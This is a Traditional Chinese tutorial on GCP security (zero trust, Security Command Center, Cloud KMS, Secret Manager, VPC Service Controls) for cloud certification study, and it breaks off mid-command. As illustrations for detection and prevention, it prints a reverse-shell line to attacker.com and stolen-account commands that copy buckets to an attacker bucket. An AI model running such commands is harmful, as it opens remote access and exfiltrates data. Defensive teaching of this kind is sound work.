企業級資安防護：GCP 安全架構與合規指南 — ACE 架構設計

前言

2024 年，全球資料外洩事件造成的平均損失來到 488 萬美元（IBM 2024 Cost of a Data Breach Report），而 83% 的企業至少踩過一次雲端資安事件。當核心業務搬上雲端，資安就不再是「加購選項」，而是攸關企業存亡的基礎設施。

先講結論：上雲之後，IAM 設好不代表資料就安全——帳號一被盜，光靠權限擋不住資料被搬走。這篇就帶你把零信任、威脅偵測、加密、邊界、合規這幾層補起來，從 BeyondCorp 一路串到 GDPR/SOC2/HIPAA。

先說定位：這篇比 ACE 考綱深一點。BeyondCorp 多雲、VPC-SC 的 egress/ingress YAML、Config Connector、CIEM、Correlated Threats 這些其實偏 PCA / Professional Security Engineer 等級。ACE（Associate Cloud Engineer，入門認證）真正會考的是「客戶自管金鑰要用哪個服務」「密碼放哪裡」「IAM 跟 VPC-SC 誰管什麼」這種選型題，下面每節的「📝 考場提點」框會把 ACE 真正要會的最小集合圈出來，其餘當延伸閱讀就好。

1. 企業雲端資安的三大挑戰與 GCP 安全核心概念

1.1 傳統資安模型在雲端時代的失效

傳統 IT 架構靠的是「城堡與護城河」模型來保護資料：

Internet ─[Firewall]─> DMZ ─[Firewall]─> Internal Network
  🔴          🛡️         🟡        🛡️         🟢 Trusted
 惡意        邊界       中立       邊界        可信任區域

這個模型假設：

外部 = 不可信任
內部 = 完全可信任
邊界 = 唯一防線

但搬到雲端後，這三個假設全部站不住腳：

挑戰	傳統 IT	雲端環境	影響
邊界消失	明確的內外網邊界	遠端工作、SaaS 服務、多雲架構	無法定義「內部」
橫向移動	突破邊界後，內網暢行無阻	一個帳號被盜，所有服務淪陷	單點失效風險
內部威脅	假設員工可信任	帳號被盜、惡意內部人員、供應鏈攻擊	60% 資安事件源自內部

真實案例：

2023 Uber 資料外洩：攻擊者透過社交工程取得員工 VPN 憑證，進入內網後橫向移動，存取敏感資料庫
2022 Okta 供應鏈攻擊：第三方廠商帳號被盜，影響 366 家企業客戶

1.2 GCP 安全架構的三大支柱

Google Cloud 的資安架構，建立在三個核心原則上：

支柱一：縱深防禦（Defense in Depth）

不押寶在單一安全機制，而是做好多層防護：

Layer 7: 資料加密 (Cloud KMS, DLP)
Layer 6: 應用程式安全 (Cloud Armor, IAP)
Layer 5: 身份與存取管理 (IAM, BeyondCorp)
Layer 4: 網路安全 (VPC, Cloud Firewall)
Layer 3: 資源隔離 (Projects, Organizations)
Layer 2: 監控與偵測 (SCC, Cloud Logging)
Layer 1: 實體安全 (Google 資料中心)

就算某一層被攻破，下面幾層還能擋——核心資產不會一次曝光。

支柱二：零信任模型（Zero Trust）

核心理念：Never Trust, Always Verify（永不信任，總是驗證）

傳統模型: 身份驗證 → 完全信任
零信任模型: 身份驗證 → 情境驗證 → 最小權限授權 → 持續監控

每個請求都必須經過：

驗證身份：使用者是誰？（Authentication）
驗證裝置：裝置是否安全？（Device Posture）
驗證情境：從哪裡存取？存取什麼？（Context）
動態授權：給予最小必要權限（Authorization）
持續監控：偵測異常行為（Monitoring）

支柱三：共同責任模型（Shared Responsibility Model）

雲端安全不是 Google 一個人的事，是 Google 跟客戶一起扛：

責任層級	Google 負責	客戶負責
實體基礎設施	✅ 資料中心安全、硬體加密	❌
網路基礎設施	✅ DDoS 防護、網路隔離	⚠️ VPC 設定、防火牆規則
平台服務	✅ 平台漏洞修補、服務可用性	⚠️ 服務設定、存取控制
資料與應用程式	❌	✅ 資料加密、IAM 權限、應用程式安全

一句話記住分工：Google 顧雲端本身，你顧雲端上的資料。

1.3 GCP 安全架構全景圖

把上面這些拼起來，GCP 企業級資安架構的全貌大概長這樣：

┌─────────────────────────────────────────────────────────────┐
│ 合規與治理層 (Compliance & Governance)                       │
│ • Organization Policy • Asset Inventory • Compliance Reports │
└─────────────────────────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────────────────────────┐
│ 身份與存取控制 (Identity & Access)                          │
│ • Chrome Enterprise Premium • IAM • Workload Identity       │
└─────────────────────────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────────────────────────┐
│ 威脅偵測與監控 (Threat Detection & Monitoring)              │
│ • Security Command Center • Cloud Logging • Cloud Monitoring│
└─────────────────────────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────────────────────────┐
│ 網路與邊界防護 (Network & Perimeter Security)               │
│ • VPC Service Controls • Cloud Firewall • Cloud Armor       │
└─────────────────────────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────────────────────────┐
│ 資料保護 (Data Protection)                                   │
│ • Cloud KMS • DLP • Encryption (at rest, in transit, in use)│
└─────────────────────────────────────────────────────────────┘

接下來就一層一層拆開來看，每層都附上實戰做法。

2. 零信任架構：Chrome Enterprise Premium（前 BeyondCorp Enterprise）實戰

2.1 BeyondCorp：從 Google 內部專案到商業產品

起源故事： 2009 年 Google 中了 Aurora 攻擊（中國駭客入侵事件），傳統 VPN 模型當場破功。2011 年 Google 啟動 BeyondCorp 專案，想讓員工不靠 VPN 也能安全工作。

這套東西磨了 10 年，後來變成 Google 10 萬名員工唯一的存取方式。2021 年 Google 把它商用化，推出 BeyondCorp Enterprise；2024 年 Cloud Next 大會起，這個產品更名／併入 Chrome Enterprise Premium，本文後續一律以現行名稱「Chrome Enterprise Premium」為準（底層仍是同一套 BeyondCorp 零信任模型）。

2.2 Chrome Enterprise Premium 的兩大核心能力（2026 最新）

根據 Google Cloud 官方文件，Chrome Enterprise Premium 提供：

能力一：情境感知存取控制（Context-Aware Access）

傳統存取控制只問一句「你是誰？」，BeyondCorp 還會接著問：

你從哪裡來？
- IP 位址、地理位置
- 是否透過公司網路？
你的裝置安全嗎？
- 作業系統版本是否最新？
- 是否安裝防毒軟體？
- 是否加密硬碟？
你要存取什麼？
- 存取的資源敏感度
- 請求的操作類型（讀取 vs 修改）
現在幾點？
- 是否在正常工作時間？
- 是否從異常時區存取？

實戰範例：

# BeyondCorp 存取政策範例
- name: '高敏感資料庫存取'
  conditions:
    - user_in_group: 'data-engineers'
    - device_is_managed: true
    - device_encryption: 'full_disk'
    - ip_in_range: 'corporate_network OR trusted_vpn'
    - time_of_day: '09:00-18:00'
    - mfa_verified: true
  action: 'ALLOW'

能力二：威脅與資料保護（Threat and Data Protection）

把安全防護一路延伸到終端使用者這一端：

瀏覽器層級 DLP（透過 Chrome Enterprise Premium）
- 阻止複製敏感資料至剪貼簿
- 防止下載敏感檔案至個人裝置
- 限制螢幕截圖與列印
即時威脅偵測
- 偵測異常登入行為（如深夜從異國 IP 登入）
- 偵測大量資料下載（可能的資料外洩）
零信任網路存取（ZTNA，Zero Trust Network Access，不靠 VPN、改用身份＋情境逐次驗證的存取方式）
- 無需 VPN，直接透過身份驗證存取應用程式
- 支援 SaaS、內部部署、多雲環境

2.3 Chrome Enterprise Premium 多雲支援（2026 新特性）

根據 Google Cloud Blog，Chrome Enterprise Premium 現在支援：

✅ Google Cloud（原生支援）
✅ AWS（透過 App Connector）
✅ Azure（透過 App Connector）
✅ 內部部署環境（透過 App Connector）

架構圖：

                Chrome Enterprise Premium
                          ↓
         ┌────────────────┼────────────────┐
         ↓                ↓                ↓
    Google Cloud        AWS             Azure
     (原生支援)    (App Connector)  (App Connector)
         ↓                ↓                ↓
    GKE Cluster    EC2 Instances    AKS Cluster
    Cloud SQL      RDS Database     SQL Database

2.4 實戰：30 分鐘啟用 Chrome Enterprise Premium

Step 1: 啟用 Identity-Aware Proxy (IAP)

# 1. 啟用 IAP API
gcloud services enable iap.googleapis.com

# 2. 為後端服務啟用 IAP
gcloud compute backend-services update my-backend \
  --iap=enabled \
  --iap-oauth2-client-id=CLIENT_ID \
  --iap-oauth2-client-secret=CLIENT_SECRET

Step 2: 設定存取政策

# 允許特定群組存取
gcloud iap web add-iam-policy-binding \
  --resource-type=backend-services \
  --service=my-backend \
  --member='group:engineers@example.com' \
  --role='roles/iap.httpsResourceAccessor'

Step 3: 設定情境感知存取等級（Access Levels）

透過 Google Cloud Console → Security → Access Context Manager：

# 範例：只允許公司管理裝置存取
- name: 'corporate_managed_devices'
  conditions:
    devicePolicy:
      requireCorpOwned: true
      requireScreenlock: true
      osConstraints:
        - osType: 'DESKTOP_WINDOWS'
          minimumVersion: '10.0.19041' # Windows 10 20H1

Step 4: 測試存取

# 從未授權裝置測試（應被拒絕）
curl https://my-app.example.com
# 預期回應: 403 Forbidden

# 從授權裝置測試（應成功）
gcloud auth login
curl https://my-app.example.com -H "Authorization: Bearer $(gcloud auth print-identity-token)"
# 預期回應: 200 OK

2.5 Chrome Enterprise Premium vs VPN：決策指南

面向	傳統 VPN	Chrome Enterprise Premium
安全模型	網路邊界信任	零信任（每次請求驗證）
使用者體驗	需手動連線 VPN	無感存取
效能	所有流量經 VPN 閘道	直接連線至資源
管理複雜度	需維護 VPN 伺服器	全託管服務
多雲支援	❌ 需為每個雲端設定	✅ 統一存取政策
成本	VPN 伺服器 + 頻寬	$6/使用者/月（Chrome Enterprise Premium）

建議：

🟢 選擇 Chrome Enterprise Premium：遠端工作為主、多雲環境、SaaS 應用為主
🟡 選擇 VPN：高度受管制產業（如金融）、現有 VPN 投資龐大
🔵 混合模式：Chrome Enterprise Premium（日常存取）+ VPN（特定合規要求）

3. Security Command Center：24/7 威脅偵測與風險管理

3.1 Security Command Center 三版本差異（2026 最新）

根據東東 GCP 教學，Security Command Center (SCC) 提供三個版本：

功能	Standard（免費）	Premium	Enterprise
基本資產盤點與整合	✅	✅	✅
Security Health Analytics	❌（僅 Premium 起）	✅ 200+ 偵測器	✅
Web Security Scanner	❌（僅 Premium 起）	✅	✅
異常檢測	❌	✅	✅
Container Threat Detection	❌	✅	✅
VM Threat Detection	❌	✅	✅
Event Threat Detection	❌	✅	✅
跨雲支援（AWS）	❌	❌	✅
CIEM Findings	❌	❌	✅
加密貨幣挖礦防護計畫	❌	✅	✅

注意一個常被舊資料誤導的點：新啟用的 Standard（免費）版已經不再內建 Security Health Analytics 與 Web Security Scanner，這兩個現在是 Premium / Enterprise 才有。Standard 主要剩下基本資產盤點與部分整合。如果你看到舊文章說「免費版就有 SHA」，那是已經過時的認知，考試別這樣答（來源：SCC service tiers）。

📝 考場提點

SCC 版本選型，認三組關鍵字就好：

看到「免費 / no-cost」→ Standard（但記得：它已經不再內建 SHA / Web Security Scanner，別用舊認知答題）。

看到「需要威脅偵測（Event / Container / VM Threat Detection）、Security Health Analytics」→ Premium 以上。

看到「跨雲（AWS / Azure）CNAPP、CIEM」→ Enterprise。

細部偵測器數量、預覽功能、保留期天數這種，ACE 不太會考，別硬背。

2024-2026 重大更新（根據 Release Notes）：

2024年12月18日：SCC Enterprise 推出新版本 use case，引入安全態勢發現手冊
2024年11月13日：支援 AWS 環境的 CIEM findings（CIEM，Cloud Infrastructure Entitlement Management，雲端權限盤點，專抓誰權限開太大；如不活躍用戶、過度寬鬆信任策略）
2024年10月：Container Threat Detection 推出三個新偵測器（Premium/Enterprise）
2024年9月：VM Threat Detection 的 Rootkit 偵測器正式發布

3.2 Security Health Analytics：200+ 自動偵測器

Security Health Analytics 內建超過 200 個偵測器，會自動掃 GCP 環境裡的漏洞跟設定錯誤。

高風險偵測器範例：

偵測器	威脅等級	說明	修復建議
PUBLIC_BUCKET_ACL	🔴 Critical	Cloud Storage bucket 對外公開	移除 `allUsers` 權限
OPEN_FIREWALL	🔴 Critical	防火牆規則允許 0.0.0.0/0 存取	限制來源 IP 範圍
WEAK_SSL_POLICY	🟠 High	負載平衡器使用弱 SSL 協定（TLS 1.0/1.1）	啟用 TLS 1.2+
KMS_KEY_NOT_ROTATED	🟡 Medium	Cloud KMS 金鑰超過 90 天未輪替	啟用自動輪替
OVER_PRIVILEGED_ACCOUNT	🟠 High	服務帳號擁有過多權限	套用最小權限原則

實戰：查詢高風險發現

# 列出所有 Critical 等級的發現
gcloud scc findings list organizations/123456789 \
  --filter="severity=CRITICAL AND state=ACTIVE" \
  --format="table(category,resourceName,eventTime)"

# 範例輸出：
# CATEGORY                    RESOURCE_NAME                      EVENT_TIME
# PUBLIC_BUCKET_ACL          //storage.googleapis.com/my-bucket  2026-12-20T10:30:00Z
# OPEN_FIREWALL              //compute.googleapis.com/firewall/allow-all  2026-12-19T15:45:00Z

3.3 威脅偵測服務：Container & VM Threat Detection

Container Threat Detection（容器威脅偵測）

自動抓出 GKE 叢集裡的惡意活動：

三個新偵測器（2024年10月發布）：

Added Binary Executed：偵測在執行中容器內新增並執行的二進位檔案
Added Library Loaded：偵測載入的異常函式庫
Reverse Shell：偵測反向 Shell 連線（常見攻擊手法）

真實案例：

威脅類型: Reverse Shell
嚴重程度: High
容器: production-api-pod-abc123
命令: bash -i >& /dev/tcp/attacker.com/4444 0>&1

VM Threat Detection（虛擬機威脅偵測）

Rootkit 偵測器（2024年9月正式發布）：

# 啟用 Security Command Center API（前提）
gcloud services enable securitycenter.googleapis.com

# 啟用 VM Threat Detection 模組（organization / folder / project 層級）
gcloud scc manage services update vm-threat-detection \
  --organization=ORGANIZATION_ID \
  --enablement-state=ENABLED

# 查詢 Rootkit 偵測結果
gcloud scc findings list organizations/123456789 \
  --filter="category:Malware: Rootkit" \
  --format="table(resourceName,category,eventTime)"

偵測範例：

❌ 偵測到 Rootkit：/lib/modules/evil-rootkit.ko
❌ 偵測到加密貨幣挖礦程式：xmrig 在 VM 執行
❌ 偵測到憑證竊取：嘗試讀取 /root/.ssh/id_rsa

3.4 Event Threat Detection：偵測異常行為

用機器學習揪出帳號跟 API 的異常活動：

偵測場景：

異常類型	範例	風險
Impossible Travel	使用者 10 分鐘內從台北、倫敦登入	帳號被盜
Brute Force SSH	同一 IP 在 5 分鐘內嘗試 100 次 SSH 登入	暴力破解攻擊
Data Exfiltration	使用者在 1 小時內下載 10 TB 資料	資料外洩
Privilege Escalation	低權限帳號突然建立 IAM admin 角色	權限提升攻擊

實戰：設定異常告警

# 建立 Pub/Sub 主題接收 SCC 通知
gcloud pubsub topics create scc-notifications

# 建立 SCC 通知設定
gcloud scc notifications create high-severity-alerts \
  --organization=123456789 \
  --pubsub-topic=projects/my-project/topics/scc-notifications \
  --filter="severity=HIGH OR severity=CRITICAL"

# 訂閱通知（範例：發送至 Slack）
gcloud functions deploy scc-to-slack \
  --runtime=python310 \
  --trigger-topic=scc-notifications \
  --entry-point=send_to_slack

3.5 加密貨幣挖礦防護計畫（Crypto Mining Protection）

根據思想科技報導：

保障內容：

適用版本：Premium、Enterprise 兩個付費層級都可參加，沒有分級限制（SCC 現行計費已改成訂閱制或按用量計費，Premium 固定訂閱最低年費 $15,000 美元，不是固定的每專案月費，來源：Security Command Center pricing）
保障上限：對任一客戶，在任意 12 個月期間，抵免額上限是單一的 $1,000,000 美元（不分 Premium / Enterprise，來源：Cryptomining Protection Program）
觸發條件：
1. VM 被入侵用於挖礦
2. SCC 未偵測到且未通知
3. 客戶提出申請並經 Google 審核

如何避免誤觸：

啟用 VM Threat Detection
定期檢查 SCC Findings
設定即時告警通知

3.6 SCC 近期新功能速覽

下面這些是 SCC 在 2025-2026 年陸續推出的功能，多半是 Premium 限定或預覽版。這一節 ACE 幾乎不會考，知道有這些東西、大方向就好，別在這裡花力氣背細節；想深入再去翻 Release Notes。

更新	一句話講重點	狀態
發現結果保留期變更	保留期從 13 個月縮短為 90 天，2025 年 5 月 26 日起的新啟用才適用，既有客戶不變	已生效
Correlated Threats（威脅關聯）	自動把多個發現結果串成攻擊鏈（偵察 → 入侵 → 提權 → 外洩），幫你排優先級	預覽版
VPC-SC 憑證型存取	用 X.509 憑證驗證裝置身份，比 IP 白名單更強，適合遠端 / BYOD	GA
SHA 允許清單支援 Regex	排除規則可用正規表示式批次處理（如 `dev-*` 一次排除一整批開發機）	已推出

保留期那條是最容易被舊資料誤導的：很多文章寫「Findings 無限期保留」，那是過時的——官方文件講的是舊保留期 13 個月、新制縮短為 90 天，而且只影響 2025 年 5 月 26 日之後新啟用 的環境，既有客戶不受影響（來源：Release Notes）。要長期保存就匯出到 BigQuery 或 Cloud Storage：

# 匯出 Findings 至 BigQuery（長期保存）
gcloud scc findings export-to-bigquery \
  --organization=ORGANIZATION_ID \
  --dataset=security_findings \
  --table=scc_findings_history

4. 資料加密三階段與 Cloud KMS 金鑰管理

4.1 資料加密三階段：靜態、傳輸中、使用中

Google Cloud 的資料保護分成三個層級：

┌───────────────────────────────────────────────────────┐
│ 階段三：使用中加密 (Encryption in Use)                │
│ • Confidential Computing (Confidential VMs)          │
│ • 在記憶體中保持加密，防止管理員窺探                  │
└───────────────────────────────────────────────────────┘
                       ↑
┌───────────────────────────────────────────────────────┐
│ 階段二：傳輸中加密 (Encryption in Transit)            │
│ • TLS 1.3（對外連線）                                │
│ • Application Layer Transport Security（內部服務）   │
└───────────────────────────────────────────────────────┘
                       ↑
┌───────────────────────────────────────────────────────┐
│ 階段一：靜態加密 (Encryption at Rest)                 │
│ • 預設：Google 管理的金鑰（自動）                     │
│ • 進階：Customer-Managed Encryption Keys (CMEK)      │
│ • 最高：External Key Manager (EKM, HYOK)             │
└───────────────────────────────────────────────────────┘

階段一：靜態加密（Encryption at Rest）

Google 預設加密：

全自動：所有資料寫入磁碟前自動加密（AES-256）
透明：應用程式無需修改
無額外成本

三種金鑰管理模式：

模式	金鑰儲存位置	適用場景	合規要求
Google-managed	Google 管理	一般應用	❌ 不滿足「客戶控制金鑰」要求
CMEK	Cloud KMS（客戶控制）	企業應用	✅ 滿足大多數合規要求
EKM	外部金鑰管理系統（客戶自管）	高度監管產業	✅✅ 滿足 HYOK 要求

HYOK（Hold Your Own Key，自管金鑰）指金鑰完全留在你自家 / 第三方的金鑰系統，Google 連碰都碰不到，只在需要時跟外部 KMS 要授權——EKM（External Key Manager）就是支援這種模式的服務。和 CMEK（金鑰存在 Cloud KMS、由你控制但仍在 Google 雲內）的差別，就在「金鑰到底放在誰家」。

階段二：傳輸中加密（Encryption in Transit）

對外連線：

所有對外 API 強制使用 TLS 1.2+
TLS 1.0/1.1 正逐步淘汰（明確的全面停用時程以官方公告為準）

內部服務通訊：

Application Layer Transport Security（ALTS，Google 自家的雙向認證加密協定，定位類似 mTLS，專門用在 Google 基礎設施內部）
自動加密 GCP 內部服務間的通訊（如 Compute Engine ↔ Cloud Storage）

階段三：使用中加密（Encryption in Use）

Confidential Computing：

最早、也是預設支援 AMD SEV（Secure Encrypted Virtualization）技術；現行 Confidential VM 已擴充到 AMD SEV-SNP 與 Intel TDX，另有 NVIDIA Confidential GPU（來源：supported configurations）
資料在 CPU 記憶體中保持加密狀態
防止：
- ❌ 雲端管理員窺探記憶體
- ❌ Hypervisor 層級攻擊
- ❌ 實體記憶體竊取

啟用 Confidential VM：

gcloud compute instances create confidential-vm \
  --zone=us-central1-a \
  --machine-type=n2d-standard-2 \
  --confidential-compute-type=SEV \
  --maintenance-policy=TERMINATE

早期文件用的是 --confidential-compute 這個旗標，現在建議改用 --confidential-compute-type=SEV（也接受 SEV_SNP、TDX）。舊旗標還能跑，但已標示即將棄用，新做法直接用帶 type 的版本比較保險（來源：gcloud compute instances create）。

4.2 Cloud KMS：集中式金鑰管理

根據 Cloud KMS 官方文件，Cloud KMS 提供：

金鑰保護等級

等級	說明	認證	成本
Software	軟體加密模組	FIPS 140-3 Level 1	$0.06/金鑰/月
HSM	硬體安全模組	FIPS 140-2 Level 3	$1.00/金鑰/月
EKM	外部金鑰管理（BYOK/HYOK）	取決於外部系統	$3.00/金鑰/月 + 外部 KMS 成本

HSM 金鑰版本費率依金鑰類型分階：對稱 AES-256／HMAC 與非對稱 RSA 2048 統一是 $1.00/金鑰版本/月；非對稱 RSA 3072、RSA 4096 或橢圓曲線金鑰則是前 2,000 個「金鑰版本-月」以 $2.50/月計價，超過部分才降到 $1.00/月（來源：Cloud KMS pricing）。表格取最常用的對稱金鑰情境。

信封加密（Envelope Encryption）架構

Cloud KMS 使用「信封加密」保護資料：

Data (明文資料)
   ↓
[加密] ← DEK (Data Encryption Key, 資料加密金鑰)
   ↓
Encrypted Data (加密資料)
   +
Wrapped DEK (被包裝的 DEK)
   ↑
[加密] ← KEK (Key Encryption Key, 金鑰加密金鑰, 儲存於 Cloud KMS)

優勢：

效能：大量資料使用 DEK 加密（本地）
安全：DEK 本身被 KEK 加密（KEK 永不離開 KMS）
金鑰輪替：只需輪替 KEK，無需重新加密所有資料

4.3 實戰：建立與使用 Cloud KMS 金鑰

Step 1: 建立金鑰環與金鑰

# 1. 建立金鑰環（Key Ring，金鑰的容器）
gcloud kms keyrings create production-keyring \
  --location=global

# 2. 建立對稱金鑰（用於 CMEK）
gcloud kms keys create database-encryption-key \
  --location=global \
  --keyring=production-keyring \
  --purpose=encryption \
  --rotation-period=90d \
  --next-rotation-time=2026-03-26T00:00:00Z

Step 2: 使用 CMEK 加密 Cloud Storage

# 授予 Cloud Storage 服務帳號使用金鑰的權限
gcloud kms keys add-iam-policy-binding database-encryption-key \
  --location=global \
  --keyring=production-keyring \
  --member=serviceAccount:service-123456@gs-project-accounts.iam.gserviceaccount.com \
  --role=roles/cloudkms.cryptoKeyEncrypterDecrypter

# 建立使用 CMEK 的 bucket
gcloud storage buckets create gs://my-encrypted-bucket \
  --location=us-central1 \
  --default-encryption-key=projects/my-project/locations/global/keyRings/production-keyring/cryptoKeys/database-encryption-key

Step 3: 使用 CMEK 加密 Cloud SQL

gcloud sql instances create encrypted-db \
  --database-version=POSTGRES_15 \
  --tier=db-n1-standard-1 \
  --region=us-central1 \
  --disk-encryption-key=projects/my-project/locations/us-central1/keyRings/production-keyring/cryptoKeys/database-encryption-key

4.4 金鑰管理五大最佳實踐（2026）

根據 Cloud KMS Security Deep Dive：

1. 金鑰輪替（Key Rotation）

# 檢查金鑰輪替狀態
gcloud kms keys describe database-encryption-key \
  --location=global \
  --keyring=production-keyring \
  --format="value(rotationPeriod, nextRotationTime)"

# 建議輪替週期：
# • 高敏感資料：30-60 天
# • 一般資料：90 天
# • 低敏感資料：365 天

2. 分離職責（Separation of Duties）

# 金鑰管理員：可管理金鑰，但不能使用
gcloud kms keyrings add-iam-policy-binding production-keyring \
  --location=global \
  --member=user:admin@example.com \
  --role=roles/cloudkms.admin

# 金鑰使用者：可使用金鑰，但不能刪除
gcloud kms keys add-iam-policy-binding database-encryption-key \
  --location=global \
  --keyring=production-keyring \
  --member=serviceAccount:app@my-project.iam.gserviceaccount.com \
  --role=roles/cloudkms.cryptoKeyEncrypterDecrypter

3. 啟用金鑰版本（Key Versioning）

# 手動建立新版本（用於非對稱金鑰）
gcloud kms keys versions create \
  --location=global \
  --keyring=production-keyring \
  --key=signing-key

# 停用舊版本
gcloud kms keys versions disable 1 \
  --location=global \
  --keyring=production-keyring \
  --key=signing-key

4. 監控金鑰使用（Key Usage Monitoring）

# 查詢金鑰使用日誌
gcloud logging read "resource.type=cloudkms_cryptokey AND \
  protoPayload.resourceName:database-encryption-key" \
  --limit=50 \
  --format=json

# 設定告警：金鑰被異常帳號使用
gcloud alpha monitoring policies create \
  --notification-channels=CHANNEL_ID \
  --display-name="KMS Key Unusual Access" \
  --condition-display-name="Key accessed by non-service account" \
  --condition-threshold-value=1 \
  --condition-filter='resource.type="cloudkms_cryptokey" AND protoPayload.authenticationInfo.principalEmail!~".*gserviceaccount.com$"'

5. 災難復原計畫（Disaster Recovery）

# 匯出金鑰元資料（不包含實際金鑰材料）
gcloud kms keys describe database-encryption-key \
  --location=global \
  --keyring=production-keyring \
  --format=json > key-metadata-backup.json

# IMPORTANT: Cloud KMS 金鑰無法匯出實際金鑰材料（by design）
# 災難復原策略：
# 1. 使用 Organization Policy 防止金鑰刪除
# 2. 啟用 VPC Service Controls 防止金鑰外洩
# 3. 定期備份使用該金鑰加密的資料

4.5 Secret Manager：API 金鑰與敏感設定管理

Secret Manager 是 GCP 的機密管理服務，用於安全儲存 API 金鑰、資料庫密碼、TLS 憑證等敏感資料：

# 建立 Secret
echo -n "my-database-password" | gcloud secrets create db-password \
  --data-file=- \
  --replication-policy=automatic

# 存取 Secret（取得最新版本）
gcloud secrets versions access latest --secret=db-password

# 新增版本（密碼輪換）
echo -n "new-password-2026" | gcloud secrets versions add db-password --data-file=-

# 停用舊版本
gcloud secrets versions disable 1 --secret=db-password

Secret Manager vs 環境變數

方式	安全性	稽核	輪換	適合場景
寫在程式碼裡	🔴 極危險	無	手動	永遠不要這樣做
環境變數	🟡 中等	無	手動	非敏感設定
Secret Manager	🟢 安全	✅ 完整稽核日誌	✅ 版本管理	API 金鑰、密碼、憑證
Cloud KMS	🟢 安全	✅ 完整稽核日誌	✅ 自動輪換	加密金鑰管理

與其他服務整合

# Cloud Run / Cloud Functions 存取 Secret Manager
from google.cloud import secretmanager

client = secretmanager.SecretManagerServiceClient()
name = "projects/my-project/secrets/db-password/versions/latest"
response = client.access_secret_version(request={"name": name})
password = response.payload.data.decode("UTF-8")

📝 考場提點

這一節是 ACE 最常考的選型題，關鍵是聽到「需求關鍵字」就反射對應到「正確服務」：

「客戶要自己掌控加密金鑰」「要能停用 / 輪替金鑰」→ CMEK（Cloud KMS）。

「金鑰必須留在自家 HSM 或外部金鑰系統，Google 不能碰」→ EKM / HYOK。

「安全存放資料庫密碼、API 金鑰、TLS 憑證」→ Secret Manager（不是 Cloud KMS，KMS 管的是「加密金鑰」不是「機密字串」；更不是環境變數、也不是寫在 app.yaml 裡）。

陷阱選項最愛拿「環境變數」「寫在設定檔」來混淆，看到「安全管理密碼 / 機密」一律往 Secret Manager 想。

5. VPC Service Controls：防止資料外洩的最後一道防線

5.1 VPC Service Controls 解決的核心問題

場景： 你的 DevOps 工程師帳號被盜，攻擊者拿到了 IAM 權限。就算你的 IAM 設定一點問題都沒有，攻擊者照樣可以這樣搞：

# 攻擊者使用被盜帳號
gsutil cp gs://sensitive-data/* /tmp/exfiltrated/
bq extract mydataset.customers gs://attacker-bucket/

IAM 的限制：

✅ IAM 回答「誰可以存取？」
❌ IAM 不回答「資料可以去哪裡？」

VPC Service Controls 的價值：

幫你圈出一條「服務邊界（Service Perimeter）」
就算手上有 IAM 權限，資料也出不了這條邊界

📝 考場提點

ACE / PCA 都很愛考 IAM 跟 VPC-SC 的分工，這也是最常被混淆的一題。記法很簡單：IAM 管「誰能存取」，VPC-SC 管「資料能去哪」。

所以題目只要出現「帳號被盜後如何防止資料被搬到組織外」「即使有權限也要擋住」「防資料外洩（data exfiltration）」這類字眼，答案就是 VPC Service Controls 服務邊界，不是再去調 IAM——因為攻擊者手上已經有合法權限了，IAM 根本擋不到「資料往哪流」。看到 data exfiltration / 防外洩 / 跨組織搬資料，反射想 VPC-SC。

5.2 VPC Service Controls 運作原理

根據 VPC Service Controls 官方文件：

┌────────────────────────────────────────────────────────┐
│ Service Perimeter (服務邊界)                           │
│                                                        │
│  ┌──────────┐   ┌──────────┐   ┌──────────┐         │
│  │ Project A│   │ Project B│   │ Project C│         │
│  │          │   │          │   │          │         │
│  │ Cloud    │   │ BigQuery │   │ Cloud    │         │
│  │ Storage  │◄──┤ Dataset  ├──►│ SQL      │         │
│  └──────────┘   └──────────┘   └──────────┘         │
│                                                        │
│  ✅ 邊界內的專案可互相存取資料                         │
│  ❌ 邊界外的專案無法存取（即使有 IAM 權限）           │
└────────────────────────────────────────────────────────┘
         ↑                                    ↓
    ✅ Ingress Rules              ❌ Egress Rules
  (允許特定來源進入)              (禁止資料離開)

5.3 建立 Service Perimeter 實戰

Step 1: 建立存取政策（Access Policy）

# 1. 建立組織層級的存取政策
gcloud access-context-manager policies create \
  --organization=123456789 \
  --title="Production Environment Policy"

Step 2: 定義服務邊界（Service Perimeter）

# 2. 建立服務邊界
gcloud access-context-manager perimeters create production_perimeter \
  --title="Production Data Perimeter" \
  --resources="projects/123456,projects/789012" \
  --restricted-services="storage.googleapis.com,bigquery.googleapis.com" \
  --policy=POLICY_ID

說明：

--resources: 邊界內的專案列表
--restricted-services: 受保護的 GCP 服務（完整清單）

Step 3: 設定 Ingress Rules（允許特定來源進入）

# ingress-rule.yaml
ingressPolicies:
  - ingressFrom:
      sources:
        - accessLevel: 'accessPolicies/POLICY_ID/accessLevels/trusted_users'
    ingressTo:
      resources:
        - 'projects/123456'
      operations:
        - serviceName: 'storage.googleapis.com'
          methodSelectors:
            - method: 'google.storage.objects.get'
            - method: 'google.storage.objects.list'

gcloud access-context-manager perimeters update production_perimeter \
  --set-ingress-policies=ingress-rule.yaml \
  --policy=POLICY_ID

Step 4: 設定 Egress Rules（允許資料流向特定目的地）

# egress-rule.yaml
egressPolicies:
  - egressFrom:
      identities:
        - 'serviceAccount:analytics@my-project.iam.gserviceaccount.com'
    egressTo:
      resources:
        - 'projects/analytics-project' # 允許資料流向分析專案
      operations:
        - serviceName: 'bigquery.googleapis.com'
          methodSelectors:
            - method: 'google.cloud.bigquery.v2.JobService.InsertJob'

gcloud access-context-manager perimeters update production_perimeter \
  --set-egress-policies=egress-rule.yaml \
  --policy=POLICY_ID

5.4 測試 VPC Service Controls

測試場景一：阻止資料複製至邊界外

# ❌ 嘗試從邊界內的 bucket 複製資料至邊界外（應失敗）
gsutil cp gs://production-data/sensitive.csv gs://external-bucket/

# 預期錯誤：
# AccessDeniedException: 403 Request violates VPC Service Controls

測試場景二：允許邊界內的資料流動

# ✅ 邊界內的專案互相存取（應成功）
bq query --use_legacy_sql=false \
  'SELECT * FROM `project-a.dataset.table` LIMIT 10'

# 預期: 成功回傳資料

5.5 VPC Service Controls 最佳實踐

根據 Protecting resources with VPC Service Controls：

1. 使用 Dry Run Mode 測試

# 建立 Dry Run 邊界（不強制執行，僅記錄）
gcloud access-context-manager perimeters create test_perimeter \
  --title="Test Perimeter (Dry Run)" \
  --resources="projects/123456" \
  --restricted-services="storage.googleapis.com" \
  --perimeter-type=PERIMETER_TYPE_REGULAR \
